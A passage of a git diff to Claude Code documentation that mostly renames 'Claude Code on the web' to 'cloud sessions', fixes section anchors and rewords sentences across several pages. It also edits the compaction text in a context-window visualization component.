sessions](/docs/en/web-quickstart#connect-from-your-terminal) using your local `gh` CLI credentials | | `/workflow-authoring` | **[Skill](/docs/en/skills#bundled-skills).** Load the reference for writing [dynamic workflow](/docs/en/workflows) scripts: the script API, resume behavior, quality patterns, and worked examples. Claude normally loads it on its own before writing a script; run it yourself before [editing a saved script by hand](/docs/en/workflows#edit-a-saved-script). Available when dynamic workflows are enabled, and requires Claude Code v2.1.248 or later | | `/workflows` | Open the [workflow](/docs/en/workflows#watch-the-run) progress view to watch, pause, resume, or save running and completed workflows | diff --git a/content/en/docs/claude-code/context-window.md b/content/en/docs/claude-code/context-window.md index 9a0795b2b7..fad79616c0 100644 --- a/content/en/docs/claude-code/context-window.md +++ b/content/en/docs/claude-code/context-window.md @@ -112,7 +112,6 @@ export const ContextWindow = () => { tokens: 380, color: '#4A9B8E', vis: 'brief', - restoredAfterCompact: true, desc: 'This rule in `.claude/rules/` has a `paths:` pattern matching `src/api/**`. It loaded automatically when Claude read a file in that directory. You see "Loaded .claude/rules/api-conventions.md" in your terminal, but not the rule content.', link: '/en/memory#path-specific-rules' }, { @@ -142,7 +141,6 @@ export const ContextWindow = () => { tokens: 290, color: '#4A9B8E', vis: 'brief', - restoredAfterCompact: true, desc: 'Another path-scoped rule, this one matching `*.test.ts` files. Triggered when Claude read auth.test.ts. Shown as a one-line "Loaded" notice.', link: '/en/memory#path-specific-rules' }, { @@ -625,8 +623,8 @@ export const ContextWindow = () => { if (detailRef.current) detailRef.current.scrollTop = 0; }, [hovEvent]); const focusT = hovEvent ? hovEvent.t : time; - const takeaway = isCompacted ? 'Compaction replaces the conversation with a structured summary. System prompt, CLAUDE.md, memory, and MCP tools reload automatically. Claude Code also re-reads up to five of the files modified most recently, reloads the rules that match them, and re-injects the skills you invoked. The skill listing does not reload.' : focusT < STARTUP_END ? 'A lot loads before you type anything. CLAUDE.md, memory, skills, and MCP tools are all in context before your first prompt.' : focusT < 0.28 ? "Your prompt is tiny compared to what's already loaded. Most of Claude's context is project knowledge, not your words." : focusT < 0.50 ? 'Each file Claude reads grows the context. Path-scoped rules load automatically alongside matching files.' : focusT < 0.71 ? 'Hooks fire automatically on tool events. Output reaches Claude via additionalContext JSON. Exit code 2 surfaces stderr to Claude. Plain stdout on exit 0 goes to the debug log, not the transcript.' : focusT < 0.79 ? 'Follow-up questions keep building on the same context. Everything from earlier is still there.' : focusT < 0.87 ? "The subagent works in its own separate context window. None of its file reads touch yours. Only the final summary comes back." : focusT < 0.88 ? 'Bang commands run in your shell and prefix the output to your next message. Useful for grounding Claude in command results without it running them.' : focusT < 0.90 ? 'User-only skills stay out of context entirely until you invoke them. The skill index at startup only lists skills Claude can call on its own.' : '/compact summarizes the conversation to free space while keeping key information. In a real session, run it when context starts affecting performance or before a long new task.'; - const terminalView = isCompacted ? 'A "Conversation compacted" message, then a one-line "Read auth.ts" for each re-read file and "Skills restored (commit-push)". The rules show as "Loaded" lines on Claude\'s next turn. None of the content itself appears.' : focusT < STARTUP_END ? 'The input box, waiting for your first message. Everything above loads silently before you type anything.' : focusT < 0.28 ? 'Your prompt. Claude hasn\'t started working yet.' : focusT < 0.52 ? 'Your prompt and "Reading files...". Rules show as one-line "Loaded" notices, not their content.' : focusT < 0.72 ? "Claude's response and file diffs. Hooks fire silently. Tool output like npm test shows as a brief summary, not the full content." : focusT < 0.79 ? 'Your follow-up prompt.' : focusT < 0.86 ? "A brief notice that a subagent is working, then its result. You don't see the subagent's individual file reads." : focusT < 0.90 ? "Claude's response, your git status output, and the commit-push skill running." : 'Your full conversation. /compact is available to run.'; + const takeaway = isCompacted ? 'Compaction replaces the conversation with a structured summary. System prompt, CLAUDE.md, memory, and MCP tools reload automatically. Claude Code also re-reads up to five of the files modified most recently and re-injects the skills you invoked. The skill listing does not reload.' : focusT < STARTUP_END ? 'A lot loads before you type anything. CLAUDE.md, memory, skills, and MCP tools are all in context before your first prompt.' : focusT < 0.28 ? "Your prompt is tiny compared to what's already loaded. Most of Claude's context is project knowledge, not your words." : focusT < 0.50 ? 'Each file Claude reads grows the context. Path-scoped rules load automatically alongside matching files.' : focusT < 0.71 ? 'Hooks fire automatically on tool events. Output reaches Claude via additionalContext JSON. Exit code 2 surfaces stderr to Claude. Plain stdout on exit 0 goes to the debug log, not the transcript.' : focusT < 0.79 ? 'Follow-up questions keep building on the same context. Everything from earlier is still there.' : focusT < 0.87 ? "The subagent works in its own separate context window. None of its file reads touch yours. Only the final summary comes back." : focusT < 0.88 ? 'Bang commands run in your shell and prefix the output to your next message. Useful for grounding Claude in command results without it running them.' : focusT < 0.90 ? 'User-only skills stay out of context entirely until you invoke them. The skill index at startup only lists skills Claude can call on its own.' : '/compact summarizes the conversation to free space while keeping key information. In a real session, run it when context starts affecting performance or before a long new task.'; + const terminalView = isCompacted ? 'A "Conversation compacted" message, then a one-line "Read auth.ts" for each re-read file and "Skills restored (commit-push)". None of the content itself appears.' : focusT < STARTUP_END ? 'The input box, waiting for your first message. Everything above loads silently before you type anything.' : focusT < 0.28 ? 'Your prompt. Claude hasn\'t started working yet.' : focusT < 0.52 ? 'Your prompt and "Reading files...". Rules show as one-line "Loaded" notices, not their content.' : focusT < 0.72 ? "Claude's response and file diffs. Hooks fire silently. Tool output like npm test shows as a brief summary, not the full content." : focusT < 0.79 ? 'Your follow-up prompt.' : focusT < 0.86 ? "A brief notice that a subagent is working, then its result. You don't see the subagent's individual file reads." : focusT < 0.90 ? "Claude's response, your git status output, and the commit-push skill running." : 'Your full conversation. /compact is available to run.'; const mono = 'var(--font-mono, ui-monospace, SFMono-Regular, Menlo, monospace)'; const renderWithCode = s => s.split('`').map((part, i) => i % 2 === 1 ? { lineHeight: 1.5, marginTop: 4 }}> - This is what's left in context: startup content, which lives outside the message history and reloads after compaction, a structured summary of the entire conversation, the files modified most recently, which Claude Code re-reads along with the rules that match them, and the body of each skill you invoked. Skill descriptions don't reload. + This is what's left in context: startup content, which lives outside the message history and reloads after compaction, a structured summary of the entire conversation, the files modified most recently, and the body of each skill you invoked. Skill descriptions don't reload. } {time > 0 && visible.length > 0 &&
Let Claude list and message your other Claude Code sessions on this machine, and reach your sessions on other machines or on the web. +> Let Claude list and message your other Claude Code sessions on this machine, and reach your sessions on other machines or in the cloud. Cross-session messaging requires Claude Code v2.1.224 or later on macOS and Linux, including Linux inside WSL 2. On native Windows, it requires Claude Code v2.1.234 or later. When a session meets the requirements, messaging is on with nothing to enable. See [Availability](#availability) for provider requirements and how to confirm a session has it. @@ -23,7 +23,7 @@ Use messaging when one of your sessions has something another session needs mid- * **Hand over a finding**: when one session discovers a breaking change or makes a decision, Claude summarizes it for the session working on the affected area, instead of you re-explaining it there. * **Coordinate parallel worktrees**: when sessions work the same repository in separate [worktrees](/docs/en/worktrees), Claude can tell the other sessions what landed. * **Get status from long-running work**: have a migration or test run report back to the session you're watching, or ask it yourself from there. If that session is on this machine, Claude can also [ask it for one notice when it next goes idle or exits](#get-a-notice-when-another-session-goes-idle). -* **Message across machines**: reach one of your sessions on another machine or on the web. +* **Message across machines**: reach one of your sessions on another machine or in the cloud. Use messaging between independent sessions that you start and steer yourself. Claude Code has a dedicated feature for each of the other ways to run or reach multiple sessions, so use the one built for what you're doing instead: @@ -123,7 +123,7 @@ Claude finds a message's target on its own, so you don't need to run anything be * **Subagents**: agents running inside the current session. * **Teammates**: this session's own [agent team](/docs/en/agent-teams) teammates. Before v2.1.239, teammates didn't appear in the listing, though Claude could already message them by name. * **Your other local sessions**: Claude Code sessions running on the same machine, including [background sessions](/docs/en/agent-view). A session appears only when it binds an [inbox socket](#the-sessions-inbox-socket). -* **Your cloud sessions**: your [Claude Code on the web](/docs/en/claude-code-on-the-web) sessions, shown while this session is connected to [Remote Control](/docs/en/remote-control). Claude Code labels them `cloud` in the listing. +* **Your [cloud sessions](/docs/en/claude-code-on-the-web)**: shown while this session is connected to [Remote Control](/docs/en/remote-control). Claude Code labels them `cloud` in the listing. * **Your Remote Control sessions on other machines**: shown while this session is connected to [Remote Control](/docs/en/remote-control), and labeled `Remote Control`. Claude Code shows `offline` as the status of a session whose Remote Control connection has dropped. This session isn't one of the rows. If Claude addresses a message to this session's own name, Claude Code refuses it and tells Claude the target is the current session. Before v2.1.239, the listing didn't show this session's name, and Claude Code reported a message sent to it as an agent it couldn't find. @@ -153,11 +153,11 @@ When you rename a session, or start or resume an interactive one, with a name an How a message travels, and whether it passes through Anthropic servers, depends on where the target session runs: -| Where the other session runs | How the message travels | -| :------------------------------------------------------ | :--------------------------------------------------------------------------------------------------------------------------- | -| On this machine | Over a per-session socket on macOS and Linux, or a per-session named pipe on native Windows, never through Anthropic servers | -| On another of your machines | Through Anthropic servers, arriving over that machine's [Remote Control](/docs/en/remote-control) connection | -| On [Claude Code on the web](/docs/en/claude-code-on-the-web) | Through Anthropic servers, straight to the cloud session | +| Where the other session runs | How the message travels | +| :----------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------- | +| On this machine | Over a per-session socket on macOS and Linux, or a per-session named pipe on native Windows, never through Anthropic servers | +| On another of your machines | Through Anthropic servers, arriving over that machine's [Remote Control](/docs/en/remote-control) connection | +| In the [cloud](/docs/en/claude-code-on-the-web) | Through Anthropic servers, straight to the cloud session | Starting a conversation with a session on another of your machines requires Claude Code v2.1.225 or later and a target that [appears in the listing](#see-which-sessions-claude-can-reach). Before v2.1.225, Claude could only reply to a message that arrived from one. @@ -339,7 +339,7 @@ Cross-session messaging requires Claude Code v2.1.224 or later on macOS, Linux, To stop a session from receiving them, set [`crossSessionInbound`](#turn-off-cross-session-messaging) to `refuse`. -* **Sessions beyond this machine**: Claude finds your [Claude Code on the web](/docs/en/claude-code-on-the-web) sessions and your sessions on other machines from a session that is connected to Remote Control, which needs a claude.ai sign-in as this session's active authentication and the other [Remote Control requirements](/docs/en/remote-control#requirements). Claude can't find those sessions with an API key or on Amazon Bedrock, Claude Platform on AWS, Google Cloud's Agent Platform, and Microsoft Foundry. +* **Sessions beyond this machine**: Claude finds your [cloud sessions](/docs/en/claude-code-on-the-web) and your sessions on other machines from a session that is connected to Remote Control, which needs a claude.ai sign-in as this session's active authentication and the other [Remote Control requirements](/docs/en/remote-control#requirements). Claude can't find those sessions with an API key or on Amazon Bedrock, Claude Platform on AWS, Google Cloud's Agent Platform, and Microsoft Foundry. To check a session, type `/list-agents`, also available as `/peers`. The result separates a session that doesn't have the feature from a session where something narrower blocked a message, such as a missing `SendMessage` tool or a refused send: diff --git a/content/en/docs/claude-code/data-usage.md b/content/en/docs/claude-code/data-usage.md index ec01307c1e..276dea8085 100644 --- a/content/en/docs/claude-code/data-usage.md +++ b/content/en/docs/claude-code/data-usage.md @@ -57,7 +57,7 @@ Anthropic retains Claude Code data based on your account type and preferences. Transcripts of sessions started or most recently continued in Claude Desktop or Cowork are [exempt from that limit by default](/docs/en/claude-directory#cleaned-up-automatically). -You can delete individual Claude Code on the web sessions at any time. Deleting a session permanently removes the session's event data. For instructions on how to delete sessions, see [Delete sessions](/docs/en/claude-code-on-the-web#delete-sessions). +You can delete individual cloud sessions at any time. Deleting a session permanently removes the session's event data. For instructions on how to delete sessions, see [Delete sessions](/docs/en/claude-code-on-the-web#delete-sessions). Learn more about data retention practices in our [Privacy Center](https://privacy.anthropic.com/). @@ -90,7 +90,7 @@ Claude Code is built on Anthropic's APIs. For details on API security controls, ### Cloud execution: Data flow and dependencies -When using [Claude Code on the web](/docs/en/claude-code-on-the-web), sessions run in Anthropic-managed virtual machines by default instead of locally. Sessions your organization routes to a [self-hosted environment](/docs/en/self-hosted-environments) run on infrastructure you control; for what stays on your machines and what still goes to Anthropic, see [What stays on your infrastructure](/docs/en/self-hosted-environments#what-stays-on-your-infrastructure). In Anthropic-hosted cloud sessions: +[Cloud sessions](/docs/en/claude-code-on-the-web) run in Anthropic-managed virtual machines by default instead of locally. Sessions your organization routes to a [self-hosted environment](/docs/en/self-hosted-environments) run on infrastructure you control; for what stays on your machines and what still goes to Anthropic, see [What stays on your infrastructure](/docs/en/self-hosted-environments#what-stays-on-your-infrastructure). In Anthropic-hosted cloud sessions: * **Code and data storage:** Your repository is cloned to an isolated VM. Code and session data are subject to the retention and usage policies for your account type (see Data retention section above) * **Credentials:** GitHub authentication is handled through a secure proxy; your GitHub credentials never enter the sandbox diff --git a/content/en/docs/claude-code/deep-links.md b/content/en/docs/claude-code/deep-links.md index 836808a2eb..fe47da4312 100644 --- a/content/en/docs/claude-code/deep-links.md +++ b/content/en/docs/claude-code/deep-links.md @@ -23,7 +23,7 @@ This page covers how to [build a link](#build-a-link), [embed one in a runbook o The `claude-cli://` prefix is a custom URL scheme that Claude Code registers with your operating system, similar to how `mailto:` links open your email client. When you click a deep link: -1. The browser or app hands the URL to your operating system. +1. The browser or app passes the URL to your operating system. 2. The operating system recognizes the `claude-cli://` prefix and starts Claude Code on your machine. 3. A new terminal window opens with Claude Code running in the directory the link specified, and the link's prompt text already in the input box. 4. You read the prompt, edit it if you want, and press Enter to send it. diff --git a/content/en/docs/claude-code/desktop-changelog.md b/content/en/docs/claude-code/desktop-changelog.md index a175b920ca..f705bd08d9 100644 --- a/content/en/docs/claude-code/desktop-changelog.md +++ b/content/en/docs/claude-code/desktop-changelog.md @@ -36,7 +36,7 @@ In the Code tab, each conversation is a **session**: it has its own chat history * Let Claude [check on, message, or archive your other sessions](#work-across-sessions) * [Connect external tools](#connect-external-tools) like GitHub, Slack, and Linear * Let Claude [open apps and control your screen](#let-claude-use-your-computer) -* Run on your machine, in the [cloud](#run-long-running-tasks-remotely), or over [SSH](#ssh-sessions) +* Run on your machine, in the [cloud](#run-long-running-tasks-in-the-cloud), or over [SSH](#ssh-sessions) For [scheduled recurring work](/docs/en/desktop-scheduled-tasks), [keyboard shortcuts](#keyboard-shortcuts), or [sending tasks from your phone](#sessions-from-dispatch), see the linked pages and sections. If you already use the terminal-based CLI, see the [CLI comparison](#coming-from-the-cli) for what carries over. @@ -45,7 +45,7 @@ For [scheduled recurring work](/docs/en/desktop-scheduled-tasks), [keyboard shor Before you send your first message, configure four things in the prompt area: * **Environment**: choose where Claude runs. Select **Local** for your machine, **Cloud** for a [cloud session](#cloud-sessions) that continues after you close the app, an [**SSH connection**](#ssh-sessions) for a remote machine you manage, or on Windows a [**WSL distribution**](/docs/en/desktop-wsl). See [environment configuration](#environment-configuration). -* **Project folder**: select the folder or repository Claude works in. For cloud sessions, you can add [multiple repositories](#run-long-running-tasks-remotely). +* **Project folder**: select the folder or repository Claude works in. For cloud sessions, you can add [multiple repositories](#run-long-running-tasks-in-the-cloud). * **Model**: pick a [model](/docs/en/model-config#available-models) from the dropdown next to the send button. You can change this during the session. * **Permission mode**: choose how much autonomy Claude has from the [mode selector](#choose-a-permission-mode). You can change this during the session. @@ -139,7 +139,7 @@ The Browser pane uses a clean browser profile, separate from your personal brows #### Restrict external browsing for your organization -The Browser follows the same [site allowlist and blocklist controls](https://support.claude.com/en/articles/13065128-claude-in-chrome-admin-controls) as the Claude in Chrome extension. If your organization already configured those lists for the extension, the Browser respects them automatically. Administrators can also turn off Claude's tools on external pages with the [`browserExternalPageTools` managed setting](#managed-settings). With tools disabled, users can still navigate to external sites; Claude's tools can't read or act on them. +The Browser follows the same [site allowlist and blocklist controls](https://support.claude.com/en/articles/13065128-claude-in-chrome-admin-controls) as the Claude in Chrome extension. If your organization already configured those lists for the extension, the Browser respects them automatically. Administrators can also turn off Claude's tools on external pages with the [`browserExternalPageTools` managed setting](#managed-settings). With tools disabled, users can still visit external sites; Claude's tools can't read or act on them. To turn off external browsing entirely, set the [`disableBrowserExternalNavigation` managed setting](#managed-settings) to `true`. This blocks all external navigation in the Browser, including sites on your organization's allowlist; localhost dev servers and file previews keep working. Use `browserExternalPageTools` to let users keep browsing external sites without Claude's tools, and `disableBrowserExternalNavigation` to block external sites for both users and Claude. @@ -373,19 +373,19 @@ Claude Code applies four safety behaviors across sessions: Claude can also suggest new sessions. When it notices something worth fixing that's out of scope for the current task, it offers the work as a task chip in the chat. Click the chip to start that work in a new session with its own worktree; Claude continues your current session uninterrupted. -### Run long-running tasks remotely +### Run long-running tasks in the cloud For large refactors, test suites, migrations, or other long-running tasks, select **Cloud** instead of **Local** when starting a session. Cloud sessions run on Anthropic-managed infrastructure by default and continue even if you close the app or shut down your computer. Check back anytime to see progress or steer Claude in a different direction. You can also monitor cloud sessions from [claude.ai/code](https://claude.ai/code) or the [Claude mobile app](/docs/en/mobile). Cloud sessions also support multiple repositories. After selecting a cloud environment, click the **+** button next to the selected repository to add more repositories to the session. Each repo gets its own branch selector. This is useful for tasks that span multiple codebases, such as updating a shared library and its consumers. -See [Claude Code on the web](/docs/en/claude-code-on-the-web) for more on how cloud sessions work. +See [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web) for more on how cloud sessions work. ### Continue in another surface The **Continue in** menu, accessible from the VS Code icon in the bottom right of the session toolbar, lets you move your session to another surface: -* **Claude Code on the Web**: sends your local session to continue running remotely. Desktop pushes your branch, generates a summary of the conversation, and creates a new cloud session with the full context. You can then choose to archive the local session or keep it. This requires a clean working tree, and is not available for SSH sessions. +* **Claude Code on the Web**: sends your local session to continue running in the cloud. Desktop pushes your branch, generates a summary of the conversation, and creates a new cloud session with the full context. You can then choose to archive the local session or keep it. This requires a clean working tree, and is not available for SSH sessions. * **Your IDE**: opens your project in a supported IDE at the current working directory. ### Sessions from Dispatch @@ -491,7 +491,7 @@ Each entry in the `configurations` array accepts the following fields: | `port` | number | The port your server listens on. Defaults to 3000 | | `cwd` | string | Working directory relative to your project root. Defaults to the project root. Use `${workspaceFolder}` to reference the project root explicitly | | `env` | object | Additional environment variables as key-value pairs, such as `{ "NODE_ENV": "development" }`. Don't put secrets here since this file is committed to your repo. To pass secrets to your dev server, set them in the [local environment editor](#local-sessions) instead. | -| `autoPort` | boolean | How to handle port conflicts. See below | +| `autoPort` | boolean | How to handle port conflicts. See [Port conflicts](#port-conflicts) | | `program` | string | A script to run with `node`. See [when to use `program` vs `runtimeExecutable`](#when-to-use-program-vs-runtimeexecutable) | | `args` | string\[] | Arguments passed to `program`. Only used when `program` is set | | `url` | string | The address the preview opens instead of `http://localhost:`. See [open the preview at a specific URL](#open-the-preview-at-a-specific-url) | @@ -525,7 +525,7 @@ By default, the preview opens `http://localhost:`. Set `url` when your ser } ``` -Localhost addresses open directly, exactly like the default port address. This includes `localhost`, any `*.localhost` subdomain, `127.0.0.1`, and `::1`. For security, a localhost `url` must be just your server's origin — no path or query, and the port must match the entry's port. To show a specific page, ask Claude to navigate there after the preview opens. A localhost `url` with a path, query, or mismatched port is reported as a configuration error that names the url and shows the fix. +Localhost addresses open directly, exactly like the default port address. This includes `localhost`, any `*.localhost` subdomain, `127.0.0.1`, and `::1`. For security, a localhost `url` must be your server's origin alone, with no path or query. Its port must match the entry's port. To show a specific page, ask Claude to navigate there after the preview opens. A localhost `url` with a path, query, or mismatched port is reported as a configuration error that names the url and shows the fix. For any other address, Desktop asks for your permission the first time the preview opens it, the same as when you browse to a new site in the preview. External addresses may include paths. Choose **Always allow** to skip the prompt for that site in the future. Organization policies that restrict external sites in the preview still apply. @@ -722,7 +722,7 @@ Organizations on Team or Enterprise plans can manage desktop app behavior throug These settings are configured through the [admin settings console](https://claude.ai/admin-settings/claude-code): * **Code in the desktop**: control whether users in your organization can access Claude Code in the desktop app -* **Code in the web**: enable or disable [web sessions](/docs/en/claude-code-on-the-web) for your organization +* **Code in the web**: enable or disable [cloud sessions](/docs/en/claude-code-on-the-web) for your organization * **Remote Control**: enable or disable [Remote Control](/docs/en/remote-control) for your organization * **Disable Bypass permissions mode**: prevent users in your organization from enabling bypass permissions mode diff --git a/content/en/docs/claude-code/desktop-ios-simulator.md b/content/en/docs/claude-code/desktop-ios-simulator.md index 8c4ce28e58..1176bd92ae 100644 --- a/content/en/docs/claude-code/desktop-ios-simulator.md +++ b/content/en/docs/claude-code/desktop-ios-simulator.md @@ -27,7 +27,7 @@ The simulator pane uses Apple's simulator tooling, which the desktop app doesn't On this page, "device" refers to a simulated iPhone or iPad, one of the same simulator devices you manage in Xcode under **Window → Devices and Simulators**, not physical hardware. -The simulator pane is available in local sessions only. In [cloud](/docs/en/desktop#run-long-running-tasks-remotely) and [SSH](/docs/en/desktop#ssh-sessions) sessions, Claude runs on a machine that can't reach the simulators on your Mac. +The simulator pane is available in local sessions only. In [cloud](/docs/en/desktop#run-long-running-tasks-in-the-cloud) and [SSH](/docs/en/desktop#ssh-sessions) sessions, Claude runs on a machine that can't reach the simulators on your Mac. ## Run your app in the simulator @@ -72,7 +72,7 @@ The simulator pane is interactive, not only a viewer. While Claude works, or bet The row under the device name tunes the video stream from the simulator. Lower **Frame rate** or **Resolution** if the pane strains your Mac, switch **Encoding** between H.264 and JPEG, or check **FPS** to display the frame rate the pane is receiving. These settings change how the pane displays the device, not how the app runs. -You and Claude drive the same device, so your taps change the app state Claude sees. To have Claude check a specific screen, navigate to it by tapping, then ask. While Claude is driving the device, the pane shows a **Claude is using this device** badge above the screen; hold off tapping until the badge clears, so the result reflects the app rather than your input. +You and Claude drive the same device, so your taps change the app state Claude sees. To have Claude check a specific screen, tap through to it, then ask. While Claude is driving the device, the pane shows a **Claude is using this device** badge above the screen; hold off tapping until the badge clears, so the result reflects the app rather than your input. ## How sessions manage devices diff --git a/content/en/docs/claude-code/desktop-quickstart.md b/content/en/docs/claude-code/desktop-quickstart.md index 7bbdb0792b..839de097da 100644 --- a/content/en/docs/claude-code/desktop-quickstart.md +++ b/content/en/docs/claude-code/desktop-quickstart.md @@ -66,7 +66,7 @@ With the Code tab open, choose a project and give Claude something to do. You can also select: - * **Cloud**: Run sessions in the cloud that continue even if you close the app. Cloud sessions use the same infrastructure as [Claude Code on the web](/docs/en/claude-code-on-the-web). + * **Cloud**: Run sessions in the cloud that continue even if you close the app. See [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web) for how cloud sessions work. * **SSH**: Connect to a remote machine over SSH, such as your own servers, cloud VMs, or dev containers. Desktop installs Claude Code on the remote machine automatically the first time you connect. * **WSL** (Windows): Run the session inside a [WSL 2 distribution](/docs/en/desktop-wsl); Claude Code, tools, and git execute on the Linux side with native paths. @@ -128,7 +128,7 @@ You've made your first edit. For the full reference on everything Desktop can do **Put Claude on a schedule.** Set up [scheduled tasks](/docs/en/desktop-scheduled-tasks) to run Claude automatically on a recurring basis: a daily code review every morning, a weekly dependency audit, or a briefing that pulls from your connected tools. -**Scale up when you're ready.** Open [parallel sessions](/docs/en/desktop#work-in-parallel-with-sessions) from the sidebar to work on multiple tasks at once, optionally each in its own Git worktree, and open the [tasks pane](/docs/en/desktop#watch-background-tasks) to watch the subagents and background commands a session has running. Open a [side chat](/docs/en/desktop#ask-a-side-question-without-derailing-the-session) to ask a question without derailing the main thread. Send [long-running work to the cloud](/docs/en/desktop#run-long-running-tasks-remotely) so it continues even if you close the app, or [continue a session on the web or in your IDE](/docs/en/desktop#continue-in-another-surface) if a task takes longer than expected. [Connect external tools](/docs/en/desktop#extend-claude-code) like GitHub, Slack, and Linear to bring your workflow together. +**Scale up when you're ready.** Open [parallel sessions](/docs/en/desktop#work-in-parallel-with-sessions) from the sidebar to work on multiple tasks at once, optionally each in its own Git worktree, and open the [tasks pane](/docs/en/desktop#watch-background-tasks) to watch the subagents and background commands a session has running. Open a [side chat](/docs/en/desktop#ask-a-side-question-without-derailing-the-session) to ask a question without derailing the main thread. Send [long-running work to the cloud](/docs/en/desktop#run-long-running-tasks-in-the-cloud) so it continues even if you close the app, or [continue a session on the web or in your IDE](/docs/en/desktop#continue-in-another-surface) if a task takes longer than expected. [Connect external tools](/docs/en/desktop#extend-claude-code) like GitHub, Slack, and Linear to bring your workflow together. ## What's next diff --git a/content/en/docs/claude-code/desktop.md b/content/en/docs/claude-code/desktop.md index a175b920ca..f705bd08d9 100644 --- a/content/en/docs/claude-code/desktop.md +++ b/content/en/docs/claude-code/desktop.md @@ -36,7 +36,7 @@ In the Code tab, each conversation is a **session**: it has its own chat history * Let Claude [check on, message, or archive your other sessions](#work-across-sessions) * [Connect external tools](#connect-external-tools) like GitHub, Slack, and Linear * Let Claude [open apps and control your screen](#let-claude-use-your-computer) -* Run on your machine, in the [cloud](#run-long-running-tasks-remotely), or over [SSH](#ssh-sessions) +* Run on your machine, in the [cloud](#run-long-running-tasks-in-the-cloud), or over [SSH](#ssh-sessions) For [scheduled recurring work](/docs/en/desktop-scheduled-tasks), [keyboard shortcuts](#keyboard-shortcuts), or [sending tasks from your phone](#sessions-from-dispatch), see the linked pages and sections. If you already use the terminal-based CLI, see the [CLI comparison](#coming-from-the-cli) for what carries over. @@ -45,7 +45,7 @@ For [scheduled recurring work](/docs/en/desktop-scheduled-tasks), [keyboard shor Before you send your first message, configure four things in the prompt area: * **Environment**: choose where Claude runs. Select **Local** for your machine, **Cloud** for a [cloud session](#cloud-sessions) that continues after you close the app, an [**SSH connection**](#ssh-sessions) for a remote machine you manage, or on Windows a [**WSL distribution**](/docs/en/desktop-wsl). See [environment configuration](#environment-configuration). -* **Project folder**: select the folder or repository Claude works in. For cloud sessions, you can add [multiple repositories](#run-long-running-tasks-remotely). +* **Project folder**: select the folder or repository Claude works in. For cloud sessions, you can add [multiple repositories](#run-long-running-tasks-in-the-cloud). * **Model**: pick a [model](/docs/en/model-config#available-models) from the dropdown next to the send button. You can change this during the session. * **Permission mode**: choose how much autonomy Claude has from the [mode selector](#choose-a-permission-mode). You can change this during the session. @@ -139,7 +139,7 @@ The Browser pane uses a clean browser profile, separate from your personal brows #### Restrict external browsing for your organization -The Browser follows the same [site allowlist and blocklist controls](https://support.claude.com/en/articles/13065128-claude-in-chrome-admin-controls) as the Claude in Chrome extension. If your organization already configured those lists for the extension, the Browser respects them automatically. Administrators can also turn off Claude's tools on external pages with the [`browserExternalPageTools` managed setting](#managed-settings). With tools disabled, users can still navigate to external sites; Claude's tools can't read or act on them. +The Browser follows the same [site allowlist and blocklist controls](https://support.claude.com/en/articles/13065128-claude-in-chrome-admin-controls) as the Claude in Chrome extension. If your organization already configured those lists for the extension, the Browser respects them automatically. Administrators can also turn off Claude's tools on external pages with the [`browserExternalPageTools` managed setting](#managed-settings). With tools disabled, users can still visit external sites; Claude's tools can't read or act on them. To turn off external browsing entirely, set the [`disableBrowserExternalNavigation` managed setting](#managed-settings) to `true`. This blocks all external navigation in the Browser, including sites on your organization's allowlist; localhost dev servers and file previews keep working. Use `browserExternalPageTools` to let users keep browsing external sites without Claude's tools, and `disableBrowserExternalNavigation` to block external sites for both users and Claude. @@ -373,19 +373,19 @@ Claude Code applies four safety behaviors across sessions: Claude can also suggest new sessions. When it notices something worth fixing that's out of scope for the current task, it offers the work as a task chip in the chat. Click the chip to start that work in a new session with its own worktree; Claude continues your current session uninterrupted. -### Run long-running tasks remotely +### Run long-running tasks in the cloud For large refactors, test suites, migrations, or other long-running tasks, select **Cloud** instead of **Local** when starting a session. Cloud sessions run on Anthropic-managed infrastructure by default and continue even if you close the app or shut down your computer. Check back anytime to see progress or steer Claude in a different direction. You can also monitor cloud sessions from [claude.ai/code](https://claude.ai/code) or the [Claude mobile app](/docs/en/mobile). Cloud sessions also support multiple repositories. After selecting a cloud environment, click the **+** button next to the selected repository to add more repositories to the session. Each repo gets its own branch selector. This is useful for tasks that span multiple codebases, such as updating a shared library and its consumers. -See [Claude Code on the web](/docs/en/claude-code-on-the-web) for more on how cloud sessions work. +See [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web) for more on how cloud sessions work. ### Continue in another surface The **Continue in** menu, accessible from the VS Code icon in the bottom right of the session toolbar, lets you move your session to another surface: -* **Claude Code on the Web**: sends your local session to continue running remotely. Desktop pushes your branch, generates a summary of the conversation, and creates a new cloud session with the full context. You can then choose to archive the local session or keep it. This requires a clean working tree, and is not available for SSH sessions. +* **Claude Code on the Web**: sends your local session to continue running in the cloud. Desktop pushes your branch, generates a summary of the conversation, and creates a new cloud session with the full context. You can then choose to archive the local session or keep it. This requires a clean working tree, and is not available for SSH sessions. * **Your IDE**: opens your project in a supported IDE at the current working directory. ### Sessions from Dispatch @@ -491,7 +491,7 @@ Each entry in the `configurations` array accepts the following fields: | `port` | number | The port your server listens on. Defaults to 3000 | | `cwd` | string | Working directory relative to your project root. Defaults to the project root. Use `${workspaceFolder}` to reference the project root explicitly | | `env` | object | Additional environment variables as key-value pairs, such as `{ "NODE_ENV": "development" }`. Don't put secrets here since this file is committed to your repo. To pass secrets to your dev server, set them in the [local environment editor](#local-sessions) instead. | -| `autoPort` | boolean | How to handle port conflicts. See below | +| `autoPort` | boolean | How to handle port conflicts. See [Port conflicts](#port-conflicts) | | `program` | string | A script to run with `node`. See [when to use `program` vs `runtimeExecutable`](#when-to-use-program-vs-runtimeexecutable) | | `args` | string\[] | Arguments passed to `program`. Only used when `program` is set | | `url` | string | The address the preview opens instead of `http://localhost:`. See [open the preview at a specific URL](#open-the-preview-at-a-specific-url) | @@ -525,7 +525,7 @@ By default, the preview opens `http://localhost:`. Set `url` when your ser } ``` -Localhost addresses open directly, exactly like the default port address. This includes `localhost`, any `*.localhost` subdomain, `127.0.0.1`, and `::1`. For security, a localhost `url` must be just your server's origin — no path or query, and the port must match the entry's port. To show a specific page, ask Claude to navigate there after the preview opens. A localhost `url` with a path, query, or mismatched port is reported as a configuration error that names the url and shows the fix. +Localhost addresses open directly, exactly like the default port address. This includes `localhost`, any `*.localhost` subdomain, `127.0.0.1`, and `::1`. For security, a localhost `url` must be your server's origin alone, with no path or query. Its port must match the entry's port. To show a specific page, ask Claude to navigate there after the preview opens. A localhost `url` with a path, query, or mismatched port is reported as a configuration error that names the url and shows the fix. For any other address, Desktop asks for your permission the first time the preview opens 